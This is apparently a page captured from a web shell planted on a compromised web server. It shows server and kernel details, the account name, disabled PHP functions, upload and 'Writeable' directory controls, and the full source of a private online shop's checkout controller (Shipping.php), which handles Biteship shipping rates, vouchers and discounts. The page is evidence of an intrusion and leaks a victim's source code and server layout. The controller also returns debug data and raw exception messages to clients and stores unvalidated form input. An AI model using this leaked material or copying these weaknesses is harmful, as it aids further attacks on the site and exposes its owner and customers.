https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/Shipping.php
<?php if (!defined('BASEPATH')) {

  exit('No direct script access allowed');

}



class Shipping extends Public_Controller

{

  function __construct()

  {

    parent::__construct();

    $this->load->model('cart_model');

    $this->load->model('product_m');

    $this->load->model('customer_m');

    $this->load->model('Category_m');

    $this->load->model('Statistic_m');

    $this->load->model('log_m');

    $this->load->library('cart');

    $this->load->helper('rajaongkir');

    $this->load->helper('shipping');

    $this->load->helper('biteship');



    $this->load->library('form_validation');

    $this->load->model('Footer_m');



    $this->load->library('GoogleClient');

    $this->load->library('VisitorTracking');

    $this->load->model('Top_banner_m');

    $loginUrl = $this->googleclient->getLoginUrl();



    $this->data_footer['googleUrl'] = $loginUrl;

    if ($this->session->userdata('site_lang') == 'english') {

      $this->lang->load('mainpage', 'english');

    } else {

      $this->lang->load('mainpage', 'indonesian');

    }

  }



  public function index()

  {

    $this->visitortracking->trackVisitor();

    // Redirect to index page if there's no product in cart

    if (!$this->cart->contents()) {

      redirect('cart');

    }



    if ((int) $this->session->userdata('customer')['customer_id'] == 0) {

      redirect('login');

    }



    // Store cart items 

    $cart_items = $this->cart->contents();

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];

    $id_reseller = (int) $this->_get_reseller_id($id_customer);

    $point_reward = $this->getCustomerPointReward($id_customer);

    $is_referred_customer = $this->_check_is_referred($id_customer);

    $customer_voucher = $this->_get_customer_voucher($id_customer);

    $customer_data = $this->customer_m->get_customer($id_customer);

    $is_customer_first = $this->_check_is_customer_first($id_customer);

    $is_reseller = $this->_check_is_reseller($id_customer);

    $reseller_configuration = $this->_get_reseller_configuration_by_id($id_reseller);

    $addresses = $this->customer_m->get_customer_addresses($id_customer);

    $subtotal = $this->cart->total();

    $shipment_methods_data = $this->getShipmentMethods($cart_items, $addresses[0], $subtotal);



    $all_shipping_methods = [];

    $initial_shipping_method = null;



    if (!empty($shipment_methods_data['common'])) {

      $all_shipping_methods = $shipment_methods_data['common'];

      $initial_shipping_method = $all_shipping_methods[0];

    }



    $data['all_shipping_methods'] = $all_shipping_methods;

    $data['initial_shipping_method'] = $initial_shipping_method;



    $data['id_customer'] = $id_customer;

    $data['id_reseller'] = $id_reseller;

    $data['is_referred_customer'] = $is_referred_customer;

    $data['is_customer_first'] = $is_customer_first;

    $data['is_reseller'] = $is_reseller;

    $data['reseller_configuration'] = $reseller_configuration;

    $data['customer_vouchers'] = $customer_voucher;

    $data['customer_data'] = $customer_data;





    $data['cart_items'] = $cart_items;

    $data['shipment_methods'] = $shipment_methods_data['per_item'];

    $data['common_shipment_methods'] = $shipment_methods_data['common'];

    $data['addresses'] = $addresses;

    $data['point_reward_data'] = $point_reward;



    // Set grand total

    $grand_total = 0;

    $grand_total_before_discount = 0;

    foreach ($cart_items as $item) {

      $grand_total += $item['subtotal'];

      $grand_total_before_discount += $item['real_price'] * $item['qty'];

    }



    $data['grand_total'] = $grand_total;

    $data['grand_total_before_discount'] = $grand_total_before_discount;

    $data['total_product_discount'] = $grand_total_before_discount - $grand_total;



    $this->session->set_userdata('shipping_cart', $cart_items);

    $activeBanners = $this->Top_banner_m->get_active_banners();



    // Fetch website data for header and meta information

    $websiteData = $this->db->select('website_icon, browser_title, meta_description')

      ->from('configuration')

      ->where('id_configuration', 1)

      ->get()

      ->row();



    $meta_description = ($this->session->userdata('site_lang') == 'english')

      ? "Pay easily, pleasure instantly! Choose your method and get ready to explore the fun!"

      : "Pembayaran tanpa repot, kenikmatan di tangan! Nikmati kemudahan pembayaran dengan berbagai pilihan.";



    // Prepare header data

    $this->data_header = [

      'website_icon' => $websiteData->website_icon,

      'browser_title' => $websiteData->browser_title . ' - Checkout',

      'meta_description' => $meta_description,

      'banners' => $activeBanners,

      'logo_path' => 'https://storage.googleapis.com/laciasmara-photos/laciaasmara_assets/laciasmara_landing_page/laciasmara_landing_page_logo.webp',

      'footer_categories' => $this->Footer_m->get_all_categories(),

      'footer_social_media' => $this->Footer_m->get_social_media(),

      'footer_payment_methods' => $this->Footer_m->get_payment_methods(),

      'footer_asmaradoor' => $this->Footer_m->get_asmaradoor(),

      'footer_bottom' => $this->Footer_m->get_footer_bottom()

    ];



    $this->data_footer['popular_categories'] = $this->Category_m->get_footer_popular_categories();

    $this->data_footer['trending_searches'] = $this->Statistic_m->get_trending_searches();

    $this->load->view("themes/3/header_new", $this->data_header);

    $this->load->view("shipping_new", $data);

    $this->load->view("themes/3/footer_new", $this->data_footer);

  }



  public function get_shipping_rates()

  {

    try {

      // Validasi method request

      if ($this->input->server('REQUEST_METHOD') !== 'POST') {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(405)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Method not allowed'

          ]));

        return;

      }



      // Ambil data dari form

      $cart_items = $this->input->post('cart_items'); // JSON string atau array

      $shipping_method_id = $this->input->post('shipping_method_id'); // ID dari shipping methods table

      $destination_lat = $this->input->post('destination_latitude');

      $destination_lng = $this->input->post('destination_longitude');

      $destination_postal_code = $this->input->post('destination_postal_code');



      // Validasi required fields

      if (!$cart_items) {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(400)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Cart items is required'

          ]));

        return;

      }



      if (!$shipping_method_id) {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(400)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Shipping method ID is required'

          ]));

        return;

      }



      // Get shipping method info dari database

      $this->db->select('carrier, service_code, name as method_name')

        ->from('shipment_method')

        ->where('id', $shipping_method_id);

      $shipping_method = $this->db->get()->row();



      if (!$shipping_method) {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(400)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Shipping method not found'

          ]));

        return;

      }



      $courier_code = $shipping_method->carrier;

      $service_code = $shipping_method->service_code;



      // Parse cart items jika dalam format JSON string

      if (is_string($cart_items)) {

        $cart_items = json_decode($cart_items, true);

      }



      if (!is_array($cart_items) || empty($cart_items)) {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(400)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Invalid cart items format'

          ]));

        return;

      }



      // Build biteship items

      $biteship_items = [];

      $total_weight = 0;

      $total_value = 0;



      foreach ($cart_items as $item) {

        $detail_id = isset($item['id']) ? $item['id'] : null;

        $qty = isset($item['qty']) ? (int)$item['qty'] : 1;



        if ($detail_id) {

          // Ambil data produk dari database

          $this->db->select('

                    pd.*,

                    p.title as product_name

                ')

            ->from('product_details pd')

            ->join('products p', 'p.id_products = pd.product_id')

            ->where('pd.id', $detail_id);



          $product_data = $this->db->get()->row();



          if ($product_data) {

            // Calculate per item

            $item_weight = max((isset($product_data->weight) ? $product_data->weight : 1000), 100) * $qty;

            $item_value = max((isset($product_data->price) ? $product_data->price : (isset($item['price']) ? $item['price'] : 10000)), 1000) * $qty;

            $item_length = isset($product_data->length) ? $product_data->length : 10;

            $item_width = isset($product_data->width) ? $product_data->width : 10;

            $item_height = isset($product_data->height) ? $product_data->height : 10;



            // Track totals

            $total_weight += $item_weight;

            $total_value += $item_value;



            $biteship_items[] = biteship_create_item([

              'name' => isset($product_data->product_name) ? $product_data->product_name : (isset($item['name']) ? $item['name'] : 'Product'),

              'sku' => isset($product_data->sku) ? $product_data->sku : (isset($item['sku']) ? $item['sku'] : 'SKU-' . $detail_id),

              'length' => $item_length,

              'width' => $item_width,

              'height' => $item_height,

              'weight' => $item_weight,

              'value' => $item_value,

              'quantity' => $qty

            ]);

          }

        } else {

          // Fallback untuk item tanpa detail_id

          $item_weight = isset($item['weight']) ? $item['weight'] * $qty : 1000 * $qty;

          $item_value = isset($item['value']) ? $item['value'] * $qty : 10000 * $qty;



          $total_weight += $item_weight;

          $total_value += $item_value;



          $biteship_items[] = biteship_create_item([

            'name' => isset($item['name']) ? $item['name'] : 'Product',

            'sku' => isset($item['sku']) ? $item['sku'] : 'FALLBACK-SKU',

            'length' => isset($item['length']) ? $item['length'] : 10,

            'width' => isset($item['width']) ? $item['width'] : 10,

            'height' => isset($item['height']) ? $item['height'] : 10,

            'weight' => $item_weight,

            'value' => $item_value,

            'quantity' => $qty

          ]);

        }

      }



      // Fallback jika tidak ada items valid

      if (empty($biteship_items)) {

        $biteship_items = [

          biteship_create_item([

            'name' => 'Fallback Item',

            'weight' => 1000,

            'value' => 100000

          ])

        ];

        $total_weight = 1000;

        $total_value = 100000;

      }



      // Build parameters untuk API call

      $params = [

        'origin_postal_code' => 12820,

        'origin_latitude' => '-6.229434',

        'origin_longitude' => '106.853123',

        'items' => $biteship_items

      ];



      // Set courier - jika service_code ada, gunakan format khusus

      if ($service_code) {

        $params['couriers'] = $courier_code;

      }



      // Add destination data

      if ($destination_postal_code) {

        $params['destination_postal_code'] = $destination_postal_code;

      }



      if ($destination_lat && $destination_lng) {

        $params['destination_latitude'] = $destination_lat;

        $params['destination_longitude'] = $destination_lng;

      }



      // Call Biteship API

      $response = biteship_get_rates_mixed($params);



      if (!$response['success']) {

        $this->output

          ->set_content_type('application/json')

          ->set_status_header(400)

          ->set_output(json_encode([

            'success' => false,

            'message' => 'Failed to get shipping rates',

            'params' => $params,

            'error' => isset($response['message']) ? $response['message'] : 'Unknown error'

          ]));

        return;

      }



      // Process response

      $shipping_rates = [];



      if (isset($response['data']['pricing']) && !empty($response['data']['pricing'])) {

        foreach ($response['data']['pricing'] as $rate) {

          $shipping_rates[] = [

            'courier_code' => $rate['courier_code'],

            'service_code' => $rate['courier_service_code'],

            'courier_name' => $rate['courier_name'],

            'service_name' => $rate['courier_service_name'],

            'price' => $rate['price'],

            'duration' => $rate['duration'],

            'service_type' => isset($rate['service_type']) ? $rate['service_type'] : '',

            'description' => isset($rate['description']) ? $rate['description'] : '',

            'available_for_cod' => isset($rate['available_for_cash_on_delivery']) ? $rate['available_for_cash_on_delivery'] : false,

            'available_for_insurance' => isset($rate['available_for_insurance']) ? $rate['available_for_insurance'] : false

          ];

        }

      }



      // Return success response

      $this->output

        ->set_content_type('application/json')

        ->set_status_header(200)

        ->set_output(json_encode([

          'success' => true,

          'message' => 'Success to get shipping rates',

          'data' => [

            'origin' => isset($response['data']['origin']) ? $response['data']['origin'] : null,

            'destination' => isset($response['data']['destination']) ? $response['data']['destination'] : null,

            'shipping_rates' => $shipping_rates,

            'total_weight' => $total_weight,

            'total_value' => $total_value,

            'total_items' => count($biteship_items)

          ]

        ]));

    } catch (Exception $e) {

      $this->output

        ->set_content_type('application/json')

        ->set_status_header(500)

        ->set_output(json_encode([

          'success' => false,

          'message' => 'Internal server error',

          'error' => $e->getMessage()

        ]));

    }

  }



  public function get_available_shipping_methods()

  {

    if (!$this->input->is_ajax_request()) {

      show_404();

      return;

    }



    $customer_data = $this->session->userdata('customer');

    $customer_id = $customer_data['customer_id'];



    // Validasi input

    $destination_latitude = $this->input->post('destination_latitude');

    $destination_longitude = $this->input->post('destination_longitude');

    $destination_postal_code = $this->input->post('destination_postal_code');

    $address_id = $this->input->post('address_id');



    $required_fields = [

      'customer_id' => [$customer_id, 'Unauthorized access'],

      'destination_latitude' => [$destination_latitude, 'Destination latitude is required'],

      'destination_longitude' => [$destination_longitude, 'Destination longitude is required'],

      'destination_postal_code' => [$destination_postal_code, 'Destination postal code is required'],

    ];



    $validation_result = validate_required_fields($required_fields);

    if (!$validation_result['status']) {

      $this->output

        ->set_status_header(400)

        ->set_content_type('application/json')

        ->set_output(json_encode(['error' => $validation_result['error']]));

      return;

    }



    try {

      $cart_items = $this->cart->contents();

      if (empty($cart_items)) {

        $this->output

          ->set_content_type('application/json')

          ->set_output(json_encode(['error' => 'Cart is empty']));

        return;

      }



      $subtotal = $this->cart->total();

      $shipping_data = null;

      $is_first_order = 0; // Default value



      // Get address data if address_id is provided

      if ($address_id) {

        $address_data = $this->customer_m->get_customer_address_by_id($customer_id, $address_id);

        if ($address_data) {

          $shipping_data = $address_data;

          $is_first_order = isset($address_data->is_first) ? $address_data->is_first : 0;

        }

      }



      // Create or update shipping_data object

      if (!$shipping_data) {

        $shipping_data = (object)[

          'latitude' => $destination_latitude,

          'longitude' => $destination_longitude,

          'postal_code' => $destination_postal_code,

          'is_first' => $is_first_order

        ];

      } else {

        // Update existing shipping_data with new coordinates

        $shipping_data->latitude = $destination_latitude;

        $shipping_data->longitude = $destination_longitude;

        $shipping_data->postal_code = $destination_postal_code;

        // Keep existing is_first value if available

        if (!isset($shipping_data->is_first)) {

          $shipping_data->is_first = $is_first_order;

        }

      }



      // Dapatkan metode pengiriman yang tersedia

      $shipment_methods_data = $this->getShipmentMethods($cart_items, $shipping_data, $subtotal);



      $all_shipping_methods = [];

      if (!empty($shipment_methods_data['common'])) {

        $all_shipping_methods = $shipment_methods_data['common'];

      }



      $this->output

        ->set_content_type('application/json')

        ->set_output(json_encode([

          'success' => true,

          'data' => $all_shipping_methods,

          'debug_info' => [

            'is_first' => isset($shipping_data->is_first) ? $shipping_data->is_first : 'not_set',

            'address_found' => !empty($address_data),

            'total_methods' => count($all_shipping_methods),

            'subtotal' => $subtotal

          ]

        ]));

    } catch (Exception $e) {

      // Log error untuk debugging

      log_message('error', 'Shipping methods error: ' . $e->getMessage());



      $this->output

        ->set_status_header(500)

        ->set_content_type('application/json')

        ->set_output(json_encode([

          'success' => false,

          'error' => 'Internal server error',

          'message' => $e->getMessage() // Hanya untuk development, hapus di production

        ]));

    }

  }



  private function _get_reseller_configuration_by_id($id_reseller)

  {

    $reseller_configuration = $this->db->select('*')

      ->from('resellers')

      ->where('id_resellers', $id_reseller)

      ->where('active', 'yes')

      ->get()

      ->row();

    return $reseller_configuration;

  }



  private function _check_is_customer_first($id_customer)

  {

    $is_first = false;

    $customer_first = $this->db->select('is_first')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();



    if ($customer_first && $customer_first->is_first == 0) {

      $is_first = true;

    }

    return $is_first;

  }



  private function _check_is_reseller($id_customer)

  {

    $is_reseller = false;

    $reseller_id  = $this->db->select('reseller_id')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();



    if ($reseller_id) {

      $is_reseller = true;

    }

    return $is_reseller;

  }



  private function _get_reseller_id($id_customer)

  {

    $reseller_id = $this->db->select('reseller_id')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();

    return $reseller_id->reseller_id;

  }



  private function _check_is_referred($id_customer)

  {

    $referal_code = $this->db->select('refferal')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();

    return $referal_code;

  }



  public function _get_customer_voucher($id_customer)

  {

    // Load the database model if not already loaded

    $this->load->model('customer_m');



    // Fetch customer details

    $customer = $this->customer_m->get_customer($id_customer);



    // Initialize voucher data

    $vouchers = [];



    // Check if reseller_id is set

    if ($customer->reseller_id) {

      // No vouchers for customers with a reseller_id

      return $vouchers;

    }



    // Check if the customer has a referral

    if ($customer->refferal) {

      // Check the affiliator register table for the referral

      $affiliator = $this->get_approved_affiliator_by_referral($customer->refferal);



      if ($affiliator) {

        // Check the category and set the discount accordingly

        if ($affiliator['kategori'] === 'asmaradoor') {

          $vouchers[] = [

            'name' => 'Voucher: ' . $customer->refferal,

            'type' => 'percentage',

            'value' => 10,

            'code' => $customer->refferal

          ];

        } elseif ($affiliator['kategori'] === 'asmarasana') {

          $vouchers[] = [

            'name' => 'Voucher: ' . $customer->refferal,

            'type' => 'percentage',

            'value' => 20,

            'code' => $customer->refferal

          ];

        }

      }

    }



    // Check if it's the customer's first purchase

    if ($customer->is_first == 0) {

      $vouchers[] = [

        'name' => 'First Purchase Discount',

        'type' => 'percentage',

        'value' => 5,

        'code' => 'FIRSTPURCHASE'

      ];

    }



    // Return the voucher data as JSON

    return $vouchers;

  }



  private function get_approved_affiliator_by_referral($referral)

  {

    // Load the database if not already loaded

    $this->load->database();



    // Query to get the approved affiliator by referral

    $query = $this->db->select('kategori')

      ->from('affiliator_register')

      ->where('referral', $referral)

      ->where('status', 'approve')

      ->get();



    // Check if any result is returned

    if ($query->num_rows() > 0) {

      // Return the first row as an associative array

      return $query->row_array();

    }



    // Return null if no affiliator is found

    return null;

  }



  /**

   * Cek apakah diskon shipping berlaku

   * @param array $cart_items

   * @param object $shipping_data

   * @return bool

   */



  // lebih kompleks, jadi diskonnya per metode pengiriman

  private function checkDiscountEligibility($cart_items, $shipping_methods, $shipping_data)

  {

    if (!$shipping_data || intval($shipping_data->is_first) === 0) {

      return false;

    }

    if (empty($cart_items)) {

      return false;

    }

    return true;

  }



  private function getCustomerPointReward($id_customer)

  {

    $point_reward = $this->db->select('current_pointreward')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();



    return $point_reward;

  }



  private function _get_customer_shipping_data($id_customer)

  {

    $shipping_data = $this->db->select('shipping_id_province, shipping_id_district, shipping_id_subdistrict, shipping_country, shipping_province, shipping_district, shipping_subdistrict, shipping_address, shipping_name, shipping_postcode, shipping_phone, is_first')

      ->from('customers')

      ->where('id_customers', $id_customer)

      ->get()

      ->row();

    return $shipping_data;

  }



  public function update_shipping_address()

  {

    $data = $this->input->post();

    $id_customer = (int) $this->session->userdata('customer')['customer_id'];



    $update_data = [

      'id_province' => $data['province'],

      'id_district' => $data['district'],

      'id_subdistrict' => $data['subdistrict'],

      'province' => $data['province_name'],

      'district' => $data['district_name'],

      'subdistrict' => $data['subdistrict_name'],

      'postcode' => $data['postcode'],

      'shipping_id_province' => $data['province'],

      'shipping_id_district' => $data['district'],

      'shipping_id_subdistrict' => $data['subdistrict'],

      'shipping_province' => $data['province_name'],

      'shipping_district' => $data['district_name'],

      'shipping_subdistrict' => $data['subdistrict_name'],

      'shipping_name' => $data['receiver_name'],

      'shipping_address' => $data['full_address'],

      'shipping_phone' => $data['receiver_phone'],

      'shipping_postcode' => $data['postcode']

    ];



    $this->db->where('id_customers', $id_customer)->update('customers', $update_data);



    if ($this->db->affected_rows() > 0) {

      echo json_encode(['status' => 'success']);

    } else {

      // Cek apakah data yang diupdate sama dengan data yang sudah ada

      if ($this->db->affected_rows() == 0 && $this->db->get_where('customers', ['id_customers' => $id_customer])->num_rows() > 0) {

        echo json_encode(['status' => 'success']); // Data sama, anggap sukses

      } else {

        echo json_encode(['status' => 'error']);

      }

    }

  }



  // Shipment

  public function getShipmentMethods($cart_items, $shipping_data, $subtotal = null)

  {

    // STEP 1: Get available methods dari Biteship API

    $biteship_available_methods = $this->getBiteshipAvailableMethods($cart_items, $shipping_data);



    if (empty($biteship_available_methods)) {

      return [

        'per_item' => [],

        'common' => []

      ];

    }



    // STEP 2: Match Biteship response dengan database shipment_method

    $matched_shipment_methods = $this->matchBiteshipWithDatabase($biteship_available_methods);



    if (empty($matched_shipment_methods)) {

      return [

        'per_item' => [],

        'common' => []

      ];

    }



    // STEP 3: Filter per produk dan cari intersection

    $filtered_methods = $this->filterByProductsAndFindCommon($cart_items, $matched_shipment_methods);



    // STEP 4: Apply discount logic dan format data

    return $this->applyDiscountAndFormatMethods($filtered_methods, $cart_items, $shipping_data, $subtotal);

  }



  private function getBiteshipAvailableMethods($cart_items, $shipping_data)

  {

    try {

      $biteship_items = [];

      $total_weight = 0;

      $total_value = 0;

      $max_dimensions = ['length' => 0, 'width' => 0, 'height' => 0];

      foreach ($cart_items as $item) {

        $detail_id = $item['id'];

        $qty = $item['qty'];



        $this->db->select('

              pd.*, 

              p.title as product_name,

          ')

          ->from('product_details pd')

          ->join('products p', 'p.id_products = pd.product_id')

          ->where('pd.id', $detail_id);



        $product_data = $this->db->get()->row();



        if ($product_data) {

          // Calculate per item

          $item_weight = max((isset($product_data->weight) ? $product_data->weight : 1000), 100) * $qty; // Min 100g per item

          $item_value = max((isset($product_data->price) ? $product_data->price : $item['price']), 1000) * $qty; // Min 1000 per item

          $item_length = isset($product_data->length) ? $product_data->length : 10;

          $item_width = isset($product_data->width) ? $product_data->width : 10;

          $item_height = isset($product_data->height) ? $product_data->height : 10;



          // Track totals

          $total_weight += $item_weight;

          $total_value += $item_value;



          // Track max dimensions

          $max_dimensions['length'] = max($max_dimensions['length'], $item_length);

          $max_dimensions['width'] = max($max_dimensions['width'], $item_width);

          $max_dimensions['height'] = max($max_dimensions['height'], $item_height);



          $biteship_items[] = biteship_create_item([

            'name' => isset($product_data->product_name) ? $product_data->product_name : $item['name'],

            'sku' => isset($product_data->sku) ? $product_data->sku : $item['sku'],

            'length' => $item_length,

            'width' => $item_width,

            'height' => $item_height,

            'weight' => $item_weight,

            'value' => $item_value,

            'quantity' => $qty

          ]);

        }

      }



      // Fallback jika tidak ada items valid

      if (empty($biteship_items)) {

        $biteship_items = [

          biteship_create_item([

            'name' => 'Fallback Item',

            'weight' => 1000,

            'value' => 100000

          ])

        ];

        $total_weight = 1000;

        $total_value = 100000;

      }



      $params = [

        'origin_postal_code' => 12820,

        'origin_latitude' => '-6.229434',

        'origin_longitude' => '106.853123',

        'destination_postal_code' => $shipping_data->postal_code,

        'couriers' => 'gojek,grab,jne',

        'items' => $biteship_items

      ];



      // Tambahkan koordinat jika tersedia

      if (isset($shipping_data->latitude) && isset($shipping_data->longitude)) {

        $params['destination_latitude'] = $shipping_data->latitude;

        $params['destination_longitude'] = $shipping_data->longitude;

      }



      // Call Biteship API

      $response = biteship_get_rates_mixed($params);



      if (!$response['success']) {

        return [];

      }



      // Extract available methods dari response

      $available_methods = [];

      if ($response['success'] && isset($response['data']['pricing'])) {

        foreach ($response['data']['pricing'] as $rate) {

          $available_methods[] = [

            'courier_code' => $rate['courier_code'],

            'service_code' => $rate['courier_service_code'],

            'courier_name' => $rate['courier_name'],

            'service_name' => $rate['courier_service_name'],

            'price' => $rate['price'],

            'duration' => $rate['duration']

          ];

        }

      }



      return $available_methods;

    } catch (Exception $e) {

      return [];

    }

  }



  private function matchBiteshipWithDatabase($biteship_methods)

  {

    if (empty($biteship_methods)) {

      return [];

    }



    $matched_methods = [];



    foreach ($biteship_methods as $biteship_method) {

      $this->db->select('id, name, carrier, shipper, icon_url, service_code')

        ->from('shipment_method')

        ->where('carrier', $biteship_method['courier_code'])

        ->where('service_code', $biteship_method['service_code'])

        ->where('is_active', 1);



      $db_method = $this->db->get()->row();



      if ($db_method) {

        $matched_methods[] = (object)[

          'id' => $db_method->id,

          'name' => $db_method->name,

          'carrier' => $db_method->carrier,

          'shipper' => $db_method->shipper,

          'icon_url' => $db_method->icon_url,

          'service_code' => $db_method->service_code,

          'biteship_price' => $biteship_method['price'],

          'biteship_duration' => $biteship_method['duration'],

        ];

      }

    }



    return $matched_methods;

  }



  private function filterByProductsAndFindCommon($cart_items, $matched_methods)

  {

    $shipment_methods_per_item = [];

    $common_methods = null;



    // Extract IDs dari matched methods untuk query yang lebih efisien

    $matched_method_ids = array_column($matched_methods, 'id');

    if (empty($matched_method_ids)) {

      return [

        'per_item' => [],

        'common' => []

      ];

    }



    foreach ($cart_items as $item) {

      $detail_id = $item['id'];



      // Get product_id dari product_details dengan struktur tabel yang benar

      $this->db->select('product_id');

      $product_detail = $this->db->get_where('product_details', ['id' => $detail_id])->row();



      if (!$product_detail) continue;



      $product_id = $product_detail->product_id;



      // Query shipment_method_product menggunakan id_products yang benar

      $this->db->select('shipment_method_id')

        ->from('shipment_method_product')

        ->where('product_id', $product_id)

        ->where_in('shipment_method_id', $matched_method_ids);



      $product_method_ids = $this->db->get()->result();



      if (empty($product_method_ids)) continue;



      $product_method_ids_array = array_column($product_method_ids, 'shipment_method_id');



      // Filter matched_methods berdasarkan yang tersedia untuk produk ini

      $available_for_product = array_filter($matched_methods, function ($method) use ($product_method_ids_array) {

        return in_array($method->id, $product_method_ids_array);

      });



      if (!empty($available_for_product)) {

        $shipment_methods_per_item[$item['rowid']] = array_values($available_for_product);

        $available_ids = array_column($available_for_product, 'id');



        // Calculate intersection untuk common methods

        if ($common_methods === null) {

          $common_methods = $available_ids;

        } else {

          $common_methods = array_intersect($common_methods, $available_ids);

        }

      }

    }



    // Get detail common methods

    $common_methods_detail = [];

    if (!empty($common_methods)) {

      $common_methods_detail = array_filter($matched_methods, function ($method) use ($common_methods) {

        return in_array($method->id, $common_methods);

      });

      $common_methods_detail = array_values($common_methods_detail);

    }



    return [

      'per_item' => $shipment_methods_per_item,

      'common' => $common_methods_detail

    ];

  }



  private function applyDiscountAndFormatMethods($filtered_methods, $cart_items, $shipping_data, $subtotal = null)

  {

    $this->load->helper('shipping');



    // Format per_item methods

    $formatted_per_item = [];

    foreach ($filtered_methods['per_item'] as $rowid => $methods) {

      $formatted_per_item[$rowid] = [];

      foreach ($methods as $method) {

        $formatted_per_item[$rowid][] = $this->formatMethodWithPerMethodDiscount($method, $cart_items, $shipping_data, $subtotal);

      }

    }



    // Format common methods

    $formatted_common = [];

    foreach ($filtered_methods['common'] as $method) {

      $formatted_common[] = $this->formatMethodWithPerMethodDiscount($method, $cart_items, $shipping_data, $subtotal);

    }



    // Get general discount info for reference (optional, for additional data)

    // $general_discount_info = $this->getGeneralDiscountInfo($cart_items, $shipping_data, $subtotal);



    return [

      'per_item' => $formatted_per_item,

      'common' => $formatted_common

    ];

  }



  private function formatMethodWithPerMethodDiscount($method, $cart_items, $shipping_data, $subtotal = null)

  {

    // Format ETD dari Biteship duration

    $etd_info = $this->formatBiteshipETD($method->biteship_duration, $method->service_code);

    $display_name = get_shipping_service_display_name($method);



    // Calculate original price

    $original_price = $method->biteship_price;

    $final_price = $original_price;

    $discount_amount = 0;

    $is_free = false;

    $discount_applicable = false;



    // Check if this specific method is eligible for discount

    $method_discount_info = $this->getMethodSpecificDiscountInfo($method, $cart_items, $shipping_data, $subtotal);



    if ($method_discount_info['is_discount_applicable']) {

      $discount_applicable = true;

      $discount_amount = min($method_discount_info['discount_applied'], $original_price);

      $final_price = $original_price - $discount_amount;



      if ($final_price <= 0) {

        $final_price = 0;

        $is_free = true;

      }

    }



    return [

      'id' => $method->id,

      'name' => $method->name,

      'display_name' => $display_name,

      'carrier' => $method->carrier,

      'shipper' => $method->shipper,

      'icon_url' => $method->icon_url,

      'service_code' => $method->service_code,

      'original_price' => $original_price,

      'final_price' => $final_price,

      'discount_amount' => $discount_amount,

      'is_free' => $is_free,

      'discount_applicable' => $discount_applicable,

      'service_type' => $this->determineServiceType($method->service_code),

      'duration' => $method->biteship_duration,

      'etd_info' => $etd_info,

      'biteship_service_name' => isset($method->biteship_service_name) ? $method->biteship_service_name : $method->name,

      'method_discount_info' => $method_discount_info

    ];

  }



  private function getMethodSpecificDiscountInfo($method, $cart_items, $shipping_data, $subtotal = null)

  {

    // Determine service type for this method

    $service_type = $this->determineServiceType($method->service_code);



    // Check basic eligibility first

    $basic_eligibility = $this->checkDiscountEligibility($cart_items, [$method], $shipping_data);



    // Check if this service type is eligible for discount

    $service_eligible = $this->isServiceTypeEligibleForDiscount($service_type);



    $is_discount_applicable = $basic_eligibility && $service_eligible;

    $discount_percentage = 0;

    $discount_applied = 0;



    if ($is_discount_applicable && $subtotal) {

      // Tentukan persentase diskon berdasarkan subtotal

      if ($subtotal >= 1500000) {

        $discount_percentage = 5;

      } else {

        $discount_percentage = 3;

      }



      // Hitung diskon untuk metode ini

      $discount_applied = ($subtotal * $discount_percentage) / 100;

    }



    return [

      'is_discount_applicable' => $is_discount_applicable,

      'service_type' => $service_type,

      'service_eligible' => $service_eligible,

      'basic_eligibility' => $basic_eligibility,

      'discount_percentage' => $discount_percentage,

      'discount_applied' => $discount_applied,

      'subtotal_threshold_met' => $subtotal >= 1500000,

      'is_first_order' => $shipping_data && intval($shipping_data->is_first) === 1

    ];

  }



  private function isServiceTypeEligibleForDiscount($service_type)

  {

    // Hanya metode reguler dan next_day yang eligible untuk diskon

    $eligible_service_types = ['regular', 'next_day'];



    return in_array($service_type, $eligible_service_types);

  }



  private function formatMethodWithDiscount($method, $discount_info)

  {

    // Format ETD dari Biteship duration

    $etd_info = $this->formatBiteshipETD($method->biteship_duration, $method->service_code);

    $display_name = get_shipping_service_display_name($method);



    // Calculate original and discounted price

    $original_price = $method->biteship_price;

    $final_price = $original_price;

    $discount_amount = 0;

    $is_free = false;



    if ($discount_info['is_discount_applicable']) {

      $discount_amount = min($discount_info['discount_applied'], $original_price);

      $final_price = $original_price - $discount_amount;



      if ($final_price <= 0) {

        $final_price = 0;

        $is_free = true;

      }

    }



    return [

      'id' => $method->id,

      'name' => $method->name,

      'display_name' => $display_name,

      'carrier' => $method->carrier,

      'shipper' => $method->shipper,

      'icon_url' => $method->icon_url,

      'service_code' => $method->service_code,

      'original_price' => $original_price,

      'final_price' => $final_price,

      'discount_amount' => $discount_amount,

      'is_free' => $is_free,

      'duration' => $method->biteship_duration,

      'etd_info' => $etd_info,

      'biteship_service_name' => isset($method->biteship_service_name) ? $method->biteship_service_name : $method->name

    ];

  }



